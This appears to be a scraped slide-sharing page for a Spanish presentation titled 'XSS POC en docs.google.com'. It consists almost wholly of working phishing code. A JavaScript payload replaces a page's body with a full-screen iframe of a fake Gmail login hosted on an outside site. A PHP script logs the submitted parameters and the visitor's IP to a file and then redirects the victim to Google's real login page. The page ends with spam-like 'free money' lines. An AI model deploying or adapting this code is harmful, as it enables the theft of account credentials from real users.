Upload
dawn-price
View
29
Download
0
Embed Size (px)
DESCRIPTION
::phising.js:: document . body . innerHTML = ''; var igoogle = document . createElement (' iframe '); igoogle . src = ' http://www.sinfocol.org/archivos/2009/11/gmail.htm '; igoogle . style . width = ' 100% '; igoogle . style . height = ' 100% '; igoogle . style . border = ' 0 '; - PowerPoint PPT Presentation
Citation preview
XSS POC en docs.google.com
::phising.js::document.body.innerHTML = '';var igoogle = document.createElement('iframe');igoogle.src = 'http://www.sinfocol.org/archivos/2009/11/gmail.htm';igoogle.style.width = '100%';igoogle.style.height = '100%';igoogle.style.border = '0';void(document.body.appendChild(igoogle));
XSS POC en docs.google.com
::gmailpost.php::<?php$filename = 'gmail.txt';
if (count($_GET) == 0) die;
$str = "-------------------\n";$str .= "Date: " . date('d/m/Y - h:i:s a', time()) . "\n";$str .= "IP: " . $_SERVER['REMOTE_ADDR'] . "\n";$str .= "-------------------\n";foreach ($_GET as $indice => $valor) { $str .= "$indice => $valor\n";}
$file = fopen($filename, 'a');fwrite($file, $str);fclose($file);
header('Location: https://www.google.com/accounts/ServiceLogin');
GANEDINEROGRATIS
FREEMONEY $$